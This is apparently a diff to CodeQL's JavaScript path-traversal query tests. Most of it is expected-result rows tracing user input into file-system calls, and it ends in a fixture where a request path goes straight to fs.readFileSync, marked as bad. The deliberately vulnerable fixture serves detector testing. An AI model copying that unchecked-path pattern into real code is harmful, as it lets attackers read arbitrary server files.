-| normalizedPaths.js:27:19:27:57 | pathMod ... , path) | normalizedPaths.js:21:35:21:48 | req.query.path | normalizedPaths.js:27:19:27:57 | pathMod ... , path) | This path depends on a $@. | normalizedPaths.js:21:35:21:48 | req.query.path | user-provided value |
-| normalizedPaths.js:36:19:36:22 | path | normalizedPaths.js:31:35:31:48 | req.query.path | normalizedPaths.js:36:19:36:22 | path | This path depends on a $@. | normalizedPaths.js:31:35:31:48 | req.query.path | user-provided value |
-| normalizedPaths.js:41:21:41:24 | path | normalizedPaths.js:31:35:31:48 | req.query.path | normalizedPaths.js:41:21:41:24 | path | This path depends on a $@. | normalizedPaths.js:31:35:31:48 | req.query.path | user-provided value |
-| normalizedPaths.js:59:19:59:22 | path | normalizedPaths.js:54:35:54:48 | req.query.path | normalizedPaths.js:59:19:59:22 | path | This path depends on a $@. | normalizedPaths.js:54:35:54:48 | req.query.path | user-provided value |
-| normalizedPaths.js:63:19:63:38 | path + "/index.html" | normalizedPaths.js:54:35:54:48 | req.query.path | normalizedPaths.js:63:19:63:38 | path + "/index.html" | This path depends on a $@. | normalizedPaths.js:54:35:54:48 | req.query.path | user-provided value |
-| normalizedPaths.js:68:21:68:24 | path | normalizedPaths.js:54:35:54:48 | req.query.path | normalizedPaths.js:68:21:68:24 | path | This path depends on a $@. | normalizedPaths.js:54:35:54:48 | req.query.path | user-provided value |
-| normalizedPaths.js:78:22:78:25 | path | normalizedPaths.js:73:42:73:55 | req.query.path | normalizedPaths.js:78:22:78:25 | path | This path depends on a $@. | normalizedPaths.js:73:42:73:55 | req.query.path | user-provided value |
-| normalizedPaths.js:87:29:87:32 | path | normalizedPaths.js:82:14:82:27 | req.query.path | normalizedPaths.js:87:29:87:32 | path | This path depends on a $@. | normalizedPaths.js:82:14:82:27 | req.query.path | user-provided value |
-| normalizedPaths.js:90:31:90:34 | path | normalizedPaths.js:82:14:82:27 | req.query.path | normalizedPaths.js:90:31:90:34 | path | This path depends on a $@. | normalizedPaths.js:82:14:82:27 | req.query.path | user-provided value |
-| normalizedPaths.js:99:29:99:32 | path | normalizedPaths.js:94:35:94:48 | req.query.path | normalizedPaths.js:99:29:99:32 | path | This path depends on a $@. | normalizedPaths.js:94:35:94:48 | req.query.path | user-provided value |
-| normalizedPaths.js:119:19:119:22 | path | normalizedPaths.js:117:30:117:43 | req.query.path | normalizedPaths.js:119:19:119:22 | path | This path depends on a $@. | normalizedPaths.js:117:30:117:43 | req.query.path | user-provided value |
-| normalizedPaths.js:120:19:120:53 | pathMod ... .html') | normalizedPaths.js:117:30:117:43 | req.query.path | normalizedPaths.js:120:19:120:53 | pathMod ... .html') | This path depends on a $@. | normalizedPaths.js:117:30:117:43 | req.query.path | user-provided value |
-| normalizedPaths.js:135:21:135:24 | path | normalizedPaths.js:130:35:130:48 | req.query.path | normalizedPaths.js:135:21:135:24 | path | This path depends on a $@. | normalizedPaths.js:130:35:130:48 | req.query.path | user-provided value |
-| normalizedPaths.js:144:21:144:24 | path | normalizedPaths.js:139:48:139:61 | req.query.path | normalizedPaths.js:144:21:144:24 | path | This path depends on a $@. | normalizedPaths.js:139:48:139:61 | req.query.path | user-provided value |
-| normalizedPaths.js:151:21:151:24 | path | normalizedPaths.js:148:44:148:57 | req.query.path | normalizedPaths.js:151:21:151:24 | path | This path depends on a $@. | normalizedPaths.js:148:44:148:57 | req.query.path | user-provided value |
-| normalizedPaths.js:153:21:153:24 | path | normalizedPaths.js:148:44:148:57 | req.query.path | normalizedPaths.js:153:21:153:24 | path | This path depends on a $@. | normalizedPaths.js:148:44:148:57 | req.query.path | user-provided value |
-| normalizedPaths.js:165:19:165:22 | path | normalizedPaths.js:160:35:160:48 | req.query.path | normalizedPaths.js:165:19:165:22 | path | This path depends on a $@. | normalizedPaths.js:160:35:160:48 | req.query.path | user-provided value |
-| normalizedPaths.js:170:21:170:24 | path | normalizedPaths.js:160:35:160:48 | req.query.path | normalizedPaths.js:170:21:170:24 | path | This path depends on a $@. | normalizedPaths.js:160:35:160:48 | req.query.path | user-provided value |
-| normalizedPaths.js:184:19:184:22 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:184:19:184:22 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
-| normalizedPaths.js:187:21:187:24 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:187:21:187:24 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
-| normalizedPaths.js:189:21:189:24 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:189:21:189:24 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
-| normalizedPaths.js:192:21:192:24 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:192:21:192:24 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
-| normalizedPaths.js:194:21:194:24 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:194:21:194:24 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
-| normalizedPaths.js:199:21:199:24 | path | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:199:21:199:24 | path | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
-| normalizedPaths.js:205:21:205:34 | normalizedPath | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:205:21:205:34 | normalizedPath | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
-| normalizedPaths.js:208:21:208:34 | normalizedPath | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:208:21:208:34 | normalizedPath | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
-| normalizedPaths.js:210:21:210:34 | normalizedPath | normalizedPaths.js:174:14:174:27 | req.query.path | normalizedPaths.js:210:21:210:34 | normalizedPath | This path depends on a $@. | normalizedPaths.js:174:14:174:27 | req.query.path | user-provided value |
-| normalizedPaths.js:222:21:222:24 | path | normalizedPaths.js:214:35:214:48 | req.query.path | normalizedPaths.js:222:21:222:24 | path | This path depends on a $@. | normalizedPaths.js:214:35:214:48 | req.query.path | user-provided value |
-| normalizedPaths.js:228:21:228:24 | path | normalizedPaths.js:226:35:226:48 | req.query.path | normalizedPaths.js:228:21:228:24 | path | This path depends on a $@. | normalizedPaths.js:226:35:226:48 | req.query.path | user-provided value |
-| normalizedPaths.js:238:19:238:22 | path | normalizedPaths.js:236:33:236:46 | req.query.path | normalizedPaths.js:238:19:238:22 | path | This path depends on a $@. | normalizedPaths.js:236:33:236:46 | req.query.path | user-provided value |
-| normalizedPaths.js:245:21:245:24 | path | normalizedPaths.js:236:33:236:46 | req.query.path | normalizedPaths.js:245:21:245:24 | path | This path depends on a $@. | normalizedPaths.js:236:33:236:46 | req.query.path | user-provided value |
-| normalizedPaths.js:250:21:250:24 | path | normalizedPaths.js:236:33:236:46 | req.query.path | normalizedPaths.js:250:21:250:24 | path | This path depends on a $@. | normalizedPaths.js:236:33:236:46 | req.query.path | user-provided value |
-| normalizedPaths.js:256:19:256:22 | path | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:256:19:256:22 | path | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
-| normalizedPaths.js:262:21:262:24 | path | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:262:21:262:24 | path | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
-| normalizedPaths.js:270:21:270:27 | newpath | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:270:21:270:27 | newpath | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
-| normalizedPaths.js:278:21:278:27 | newpath | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:278:21:278:27 | newpath | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
-| normalizedPaths.js:286:21:286:27 | newpath | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:286:21:286:27 | newpath | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
-| normalizedPaths.js:296:21:296:27 | newpath | normalizedPaths.js:254:33:254:46 | req.query.path | normalizedPaths.js:296:21:296:27 | newpath | This path depends on a $@. | normalizedPaths.js:254:33:254:46 | req.query.path | user-provided value |
-| normalizedPaths.js:304:18:304:21 | path | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:304:18:304:21 | path | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
-| normalizedPaths.js:309:19:309:22 | path | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:309:19:309:22 | path | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
-| normalizedPaths.js:313:19:313:22 | path | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:313:19:313:22 | path | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
-| normalizedPaths.js:316:19:316:22 | path | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:316:19:316:22 | path | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
-| normalizedPaths.js:325:19:325:32 | normalizedPath | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:325:19:325:32 | normalizedPath | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
-| normalizedPaths.js:332:19:332:32 | normalizedPath | normalizedPaths.js:303:13:303:26 | req.query.path | normalizedPaths.js:332:19:332:32 | normalizedPath | This path depends on a $@. | normalizedPaths.js:303:13:303:26 | req.query.path | user-provided value |
-| normalizedPaths.js:341:18:341:21 | path | normalizedPaths.js:339:32:339:45 | req.query.path | normalizedPaths.js:341:18:341:21 | path | This path depends on a $@. | normalizedPaths.js:339:32:339:45 | req.query.path | user-provided value |
-| normalizedPaths.js:346:19:346:22 | path | normalizedPaths.js:339:32:339:45 | req.query.path | normalizedPaths.js:346:19:346:22 | path | This path depends on a $@. | normalizedPaths.js:339:32:339:45 | req.query.path | user-provided value |
-| normalizedPaths.js:356:19:356:22 | path | normalizedPaths.js:354:14:354:27 | req.query.path | normalizedPaths.js:356:19:356:22 | path | This path depends on a $@. | normalizedPaths.js:354:14:354:27 | req.query.path | user-provided value |
-| normalizedPaths.js:363:21:363:31 | requestPath | normalizedPaths.js:354:14:354:27 | req.query.path | normalizedPaths.js:363:21:363:31 | requestPath | This path depends on a $@. | normalizedPaths.js:354:14:354:27 | req.query.path | user-provided value |
-| normalizedPaths.js:379:19:379:22 | path | normalizedPaths.js:377:14:377:27 | req.query.path | normalizedPaths.js:379:19:379:22 | path | This path depends on a $@. | normalizedPaths.js:377:14:377:27 | req.query.path | user-provided value |
-| normalizedPaths.js:381:19:381:29 | slash(path) | normalizedPaths.js:377:14:377:27 | req.query.path | normalizedPaths.js:381:19:381:29 | slash(path) | This path depends on a $@. | normalizedPaths.js:377:14:377:27 | req.query.path | user-provided value |
-| normalizedPaths.js:388:19:388:22 | path | normalizedPaths.js:385:35:385:45 | req.query.x | normalizedPaths.js:388:19:388:22 | path | This path depends on a $@. | normalizedPaths.js:385:35:385:45 | req.query.x | user-provided value |
-| normalizedPaths.js:399:21:399:24 | path | normalizedPaths.js:385:35:385:45 | req.query.x | normalizedPaths.js:399:21:399:24 | path | This path depends on a $@. | normalizedPaths.js:385:35:385:45 | req.query.x | user-provided value |
-| normalizedPaths.js:407:19:407:67 | pathMod ... t('/')) | normalizedPaths.js:407:45:407:55 | req.query.x | normalizedPaths.js:407:19:407:67 | pathMod ... t('/')) | This path depends on a $@. | normalizedPaths.js:407:45:407:55 | req.query.x | user-provided value |
-| normalizedPaths.js:408:19:408:60 | pathMod ... t('/')) | normalizedPaths.js:408:38:408:48 | req.query.x | normalizedPaths.js:408:19:408:60 | pathMod ... t('/')) | This path depends on a $@. | normalizedPaths.js:408:38:408:48 | req.query.x | user-provided value |
-| normalizedPaths.js:415:19:415:22 | path | normalizedPaths.js:412:35:412:45 | req.query.x | normalizedPaths.js:415:19:415:22 | path | This path depends on a $@. | normalizedPaths.js:412:35:412:45 | req.query.x | user-provided value |
-| normalizedPaths.js:426:21:426:24 | path | normalizedPaths.js:412:35:412:45 | req.query.x | normalizedPaths.js:426:21:426:24 | path | This path depends on a $@. | normalizedPaths.js:412:35:412:45 | req.query.x | user-provided value |
-| other-fs-libraries.js:11:19:11:22 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:11:19:11:22 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
-| other-fs-libraries.js:12:27:12:30 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:12:27:12:30 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
-| other-fs-libraries.js:13:24:13:27 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:13:24:13:27 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
-| other-fs-libraries.js:14:27:14:30 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:14:27:14:30 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
-| other-fs-libraries.js:16:34:16:37 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:16:34:16:37 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
-| other-fs-libraries.js:17:35:17:38 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:17:35:17:38 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
-| other-fs-libraries.js:19:56:19:59 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:19:56:19:59 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
-| other-fs-libraries.js:24:35:24:38 | path | other-fs-libraries.js:9:24:9:30 | req.url | other-fs-libraries.js:24:35:24:38 | path | This path depends on a $@. | other-fs-libraries.js:9:24:9:30 | req.url | user-provided value |
-| other-fs-libraries.js:40:35:40:38 | path | other-fs-libraries.js:38:24:38:30 | req.url | other-fs-libraries.js:40:35:40:38 | path | This path depends on a $@. | other-fs-libraries.js:38:24:38:30 | req.url | user-provided value |
-| other-fs-libraries.js:41:50:41:53 | path | other-fs-libraries.js:38:24:38:30 | req.url | other-fs-libraries.js:41:50:41:53 | path | This path depends on a $@. | other-fs-libraries.js:38:24:38:30 | req.url | user-provided value |
-| other-fs-libraries.js:42:53:42:56 | path | other-fs-libraries.js:38:24:38:30 | req.url | other-fs-libraries.js:42:53:42:56 | path | This path depends on a $@. | other-fs-libraries.js:38:24:38:30 | req.url | user-provided value |
-| other-fs-libraries.js:51:19:51:22 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:51:19:51:22 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
-| other-fs-libraries.js:52:24:52:27 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:52:24:52:27 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
-| other-fs-libraries.js:54:36:54:39 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:54:36:54:39 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
-| other-fs-libraries.js:55:36:55:39 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:55:36:55:39 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
-| other-fs-libraries.js:57:46:57:49 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:57:46:57:49 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
-| other-fs-libraries.js:59:39:59:42 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:59:39:59:42 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
-| other-fs-libraries.js:62:43:62:46 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:62:43:62:46 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
-| other-fs-libraries.js:63:51:63:54 | path | other-fs-libraries.js:49:24:49:30 | req.url | other-fs-libraries.js:63:51:63:54 | path | This path depends on a $@. | other-fs-libraries.js:49:24:49:30 | req.url | user-provided value |
-| other-fs-libraries.js:70:19:70:22 | path | other-fs-libraries.js:68:24:68:30 | req.url | other-fs-libraries.js:70:19:70:22 | path | This path depends on a $@. | other-fs-libraries.js:68:24:68:30 | req.url | user-provided value |
-| other-fs-libraries.js:71:10:71:13 | path | other-fs-libraries.js:68:24:68:30 | req.url | other-fs-libraries.js:71:10:71:13 | path | This path depends on a $@. | other-fs-libraries.js:68:24:68:30 | req.url | user-provided value |
-| other-fs-libraries.js:72:15:72:18 | path | other-fs-libraries.js:68:24:68:30 | req.url | other-fs-libraries.js:72:15:72:18 | path | This path depends on a $@. | other-fs-libraries.js:68:24:68:30 | req.url | user-provided value |
-| other-fs-libraries.js:76:19:76:19 | x | other-fs-libraries.js:68:24:68:30 | req.url | other-fs-libraries.js:76:19:76:19 | x | This path depends on a $@. | other-fs-libraries.js:68:24:68:30 | req.url | user-provided value |
-| other-fs-libraries.js:83:16:83:19 | path | other-fs-libraries.js:81:24:81:30 | req.url | other-fs-libraries.js:83:16:83:19 | path | This path depends on a $@. | other-fs-libraries.js:81:24:81:30 | req.url | user-provided value |
-| prettier.js:7:28:7:28 | p | prettier.js:6:13:6:13 | p | prettier.js:7:28:7:28 | p | This path depends on a $@. | prettier.js:6:13:6:13 | p | user-provided value |
-| prettier.js:11:44:11:44 | p | prettier.js:6:13:6:13 | p | prettier.js:11:44:11:44 | p | This path depends on a $@. | prettier.js:6:13:6:13 | p | user-provided value |
-| pupeteer.js:9:28:9:34 | tainted | pupeteer.js:5:28:5:53 | parseTo ... t).name | pupeteer.js:9:28:9:34 | tainted | This path depends on a $@. | pupeteer.js:5:28:5:53 | parseTo ... t).name | user-provided value |
-| pupeteer.js:13:37:13:43 | tainted | pupeteer.js:5:28:5:53 | parseTo ... t).name | pupeteer.js:13:37:13:43 | tainted | This path depends on a $@. | pupeteer.js:5:28:5:53 | parseTo ... t).name | user-provided value |
-| sharedlib-repro.js:22:18:22:25 | filepath | sharedlib-repro.js:13:22:13:43 | req.par ... spaceId | sharedlib-repro.js:22:18:22:25 | filepath | This path depends on a $@. | sharedlib-repro.js:13:22:13:43 | req.par ... spaceId | user-provided value |
-| tainted-access-paths.js:8:19:8:22 | path | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:8:19:8:22 | path | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
-| tainted-access-paths.js:12:19:12:25 | obj.sub | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:12:19:12:25 | obj.sub | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
-| tainted-access-paths.js:26:19:26:26 | obj.sub3 | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:26:19:26:26 | obj.sub3 | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
-| tainted-access-paths.js:29:21:29:28 | obj.sub4 | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:29:21:29:28 | obj.sub4 | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
-| tainted-access-paths.js:30:23:30:30 | obj.sub4 | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:30:23:30:30 | obj.sub4 | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
-| tainted-access-paths.js:31:23:31:30 | obj.sub4 | tainted-access-paths.js:6:24:6:30 | req.url | tainted-access-paths.js:31:23:31:30 | obj.sub4 | This path depends on a $@. | tainted-access-paths.js:6:24:6:30 | req.url | user-provided value |
-| tainted-access-paths.js:40:23:40:26 | path | tainted-access-paths.js:39:24:39:30 | req.url | tainted-access-paths.js:40:23:40:26 | path | This path depends on a $@. | tainted-access-paths.js:39:24:39:30 | req.url | user-provided value |
-| tainted-access-paths.js:49:10:49:13 | path | tainted-access-paths.js:48:24:48:30 | req.url | tainted-access-paths.js:49:10:49:13 | path | This path depends on a $@. | tainted-access-paths.js:48:24:48:30 | req.url | user-provided value |
-| tainted-promise-steps.js:11:19:11:35 | await pathPromise | tainted-promise-steps.js:6:24:6:30 | req.url | tainted-promise-steps.js:11:19:11:35 | await pathPromise | This path depends on a $@. | tainted-promise-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-promise-steps.js:12:44:12:47 | path | tainted-promise-steps.js:6:24:6:30 | req.url | tainted-promise-steps.js:12:44:12:47 | path | This path depends on a $@. | tainted-promise-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-require.js:7:19:7:37 | req.param("module") | tainted-require.js:7:19:7:37 | req.param("module") | tainted-require.js:7:19:7:37 | req.param("module") | This path depends on a $@. | tainted-require.js:7:19:7:37 | req.param("module") | user-provided value |
-| tainted-require.js:12:29:12:47 | req.param("module") | tainted-require.js:12:29:12:47 | req.param("module") | tainted-require.js:12:29:12:47 | req.param("module") | This path depends on a $@. | tainted-require.js:12:29:12:47 | req.param("module") | user-provided value |
-| tainted-require.js:14:11:14:29 | req.param("module") | tainted-require.js:14:11:14:29 | req.param("module") | tainted-require.js:14:11:14:29 | req.param("module") | This path depends on a $@. | tainted-require.js:14:11:14:29 | req.param("module") | user-provided value |
-| tainted-sendFile.js:8:16:8:33 | req.param("gimme") | tainted-sendFile.js:8:16:8:33 | req.param("gimme") | tainted-sendFile.js:8:16:8:33 | req.param("gimme") | This path depends on a $@. | tainted-sendFile.js:8:16:8:33 | req.param("gimme") | user-provided value |
-| tainted-sendFile.js:10:16:10:33 | req.param("gimme") | tainted-sendFile.js:10:16:10:33 | req.param("gimme") | tainted-sendFile.js:10:16:10:33 | req.param("gimme") | This path depends on a $@. | tainted-sendFile.js:10:16:10:33 | req.param("gimme") | user-provided value |
-| tainted-sendFile.js:18:43:18:58 | req.param("dir") | tainted-sendFile.js:18:43:18:58 | req.param("dir") | tainted-sendFile.js:18:43:18:58 | req.param("dir") | This path depends on a $@. | tainted-sendFile.js:18:43:18:58 | req.param("dir") | user-provided value |
-| tainted-sendFile.js:24:16:24:49 | path.re ... rams.x) | tainted-sendFile.js:24:37:24:48 | req.params.x | tainted-sendFile.js:24:16:24:49 | path.re ... rams.x) | This path depends on a $@. | tainted-sendFile.js:24:37:24:48 | req.params.x | user-provided value |
-| tainted-sendFile.js:25:16:25:46 | path.jo ... rams.x) | tainted-sendFile.js:25:34:25:45 | req.params.x | tainted-sendFile.js:25:16:25:46 | path.jo ... rams.x) | This path depends on a $@. | tainted-sendFile.js:25:34:25:45 | req.params.x | user-provided value |
-| tainted-sendFile.js:30:16:30:33 | req.param("gimme") | tainted-sendFile.js:30:16:30:33 | req.param("gimme") | tainted-sendFile.js:30:16:30:33 | req.param("gimme") | This path depends on a $@. | tainted-sendFile.js:30:16:30:33 | req.param("gimme") | user-provided value |
-| tainted-sendFile.js:33:16:33:48 | homeDir ... arams.x | tainted-sendFile.js:33:37:33:48 | req.params.x | tainted-sendFile.js:33:16:33:48 | homeDir ... arams.x | This path depends on a $@. | tainted-sendFile.js:33:37:33:48 | req.params.x | user-provided value |
-| tainted-sendFile.js:35:16:35:46 | path.jo ... rams.x) | tainted-sendFile.js:35:34:35:45 | req.params.x | tainted-sendFile.js:35:16:35:46 | path.jo ... rams.x) | This path depends on a $@. | tainted-sendFile.js:35:34:35:45 | req.params.x | user-provided value |
-| tainted-sendFile.js:38:43:38:58 | req.param("dir") | tainted-sendFile.js:38:43:38:58 | req.param("dir") | tainted-sendFile.js:38:43:38:58 | req.param("dir") | This path depends on a $@. | tainted-sendFile.js:38:43:38:58 | req.param("dir") | user-provided value |
-| tainted-string-steps.js:8:18:8:34 | path.substring(4) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:8:18:8:34 | path.substring(4) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:9:18:9:37 | path.substring(0, i) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:9:18:9:37 | path.substring(0, i) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:10:18:10:31 | path.substr(4) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:10:18:10:31 | path.substr(4) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:11:18:11:30 | path.slice(4) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:11:18:11:30 | path.slice(4) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:13:18:13:37 | path.concat(unknown) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:13:18:13:37 | path.concat(unknown) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:14:18:14:37 | unknown.concat(path) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:14:18:14:37 | unknown.concat(path) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:15:18:15:46 | unknown ... , path) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:15:18:15:46 | unknown ... , path) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:17:18:17:28 | path.trim() | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:17:18:17:28 | path.trim() | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:18:18:18:35 | path.toLowerCase() | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:18:18:18:35 | path.toLowerCase() | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:22:18:22:35 | path.split('/')[i] | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:22:18:22:35 | path.split('/')[i] | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:23:18:23:36 | path.split(/\\//)[i] | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:23:18:23:36 | path.split(/\\//)[i] | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:24:18:24:35 | path.split("?")[0] | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:24:18:24:35 | path.split("?")[0] | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:26:18:26:45 | path.sp ... hatever | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:26:18:26:45 | path.sp ... hatever | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| tainted-string-steps.js:27:18:27:36 | path.split(unknown) | tainted-string-steps.js:6:24:6:30 | req.url | tainted-string-steps.js:27:18:27:36 | path.split(unknown) | This path depends on a $@. | tainted-string-steps.js:6:24:6:30 | req.url | user-provided value |
-| torrents.js:7:25:7:27 | loc | torrents.js:5:13:5:38 | parseTo ... t).name | torrents.js:7:25:7:27 | loc | This path depends on a $@. | torrents.js:5:13:5:38 | parseTo ... t).name | user-provided value |
-| typescript.ts:12:29:12:32 | path | typescript.ts:9:24:9:30 | req.url | typescript.ts:12:29:12:32 | path | This path depends on a $@. | typescript.ts:9:24:9:30 | req.url | user-provided value |
-| typescript.ts:21:39:21:43 | path3 | typescript.ts:9:24:9:30 | req.url | typescript.ts:21:39:21:43 | path3 | This path depends on a $@. | typescript.ts:9:24:9:30 | req.url | user-provided value |
-| typescript.ts:24:39:24:43 | path4 | typescript.ts:9:24:9:30 | req.url | typescript.ts:24:39:24:43 | path4 | This path depends on a $@. | typescript.ts:9:24:9:30 | req.url | user-provided value |
-| typescript.ts:32:29:32:33 | path6 | typescript.ts:9:24:9:30 | req.url | typescript.ts:32:29:32:33 | path6 | This path depends on a $@. | typescript.ts:9:24:9:30 | req.url | user-provided value |
-| views.js:1:43:1:55 | req.params[0] | views.js:1:43:1:55 | req.params[0] | views.js:1:43:1:55 | req.params[0] | This path depends on a $@. | views.js:1:43:1:55 | req.params[0] | user-provided value |
diff --git a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.js b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.js
index fd768fecfff8..7e9d09b0d4af 100644
--- a/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.js
+++ b/javascript/ql/test/query-tests/Security/CWE-022/TaintedPath/TaintedPath.js
@@ -6,65 +6,54 @@ var fs = require('fs'),
     ;
 
 var server = http.createServer(function(req, res) {
-  let path = url.parse(req.url, true).query.path;
+  let path = url.parse(req.url, true).query.path; // $ Source
 
-  // BAD: This could read any file on the file system
-  res.write(fs.readFileSync(path));
